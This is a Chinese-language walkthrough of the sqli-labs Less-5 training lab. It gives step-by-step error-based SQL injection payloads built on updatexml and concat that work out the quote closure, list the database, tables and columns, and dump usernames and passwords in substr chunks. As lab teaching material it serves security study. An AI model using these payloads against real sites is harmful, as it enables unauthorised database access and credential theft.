SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

复制代码
?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
广州灵眸科技有限公司1 分钟前
瑞芯微(EASY EAI)RV1126B display
开发语言·数据库·人工智能·科技·嵌入式硬件
凌晨16814 分钟前
MySQL:DML、DDL与TCL精讲
数据库·mysql·oracle
风哥2号18 分钟前
数据库教程FGMT04‑生产环境Linux+Oracle19c RAC集群安装配置与项目实战
linux·数据库
Java开发追求者20 分钟前
navicat连接新的数据库提示Oracle library is not loaded.
数据库·oracle·oracle11g·oracle library·is not loaded
砚底藏山河21 分钟前
存储选型实战:CSV-SQLite-MySQL同机基准(魔码量化实战 #02)
java·数据库·python·金融·maven
huaweichenai22 分钟前
spring boot 打包并部署到线上服务
java·数据库·spring boot
明志数科28 分钟前
具身智能数据工程观察:从集中式数采工厂到真实场景采集,数据供给路线正在转向
大数据·数据库·人工智能
天行健,君子而铎34 分钟前
数据分类分级的范式转换:从规则匹配到模型持续优化规模化前瞻算法
大数据·网络·数据库·安全·分类
云雀衔光35 分钟前
多个 MCP Server 怎么编排:数据库 / Redis / Git / 飞书一把梭
java·数据库·人工智能·redis·git·语言模型·飞书
bksczm1 小时前
MySQL基础之数据类型
数据库·mysql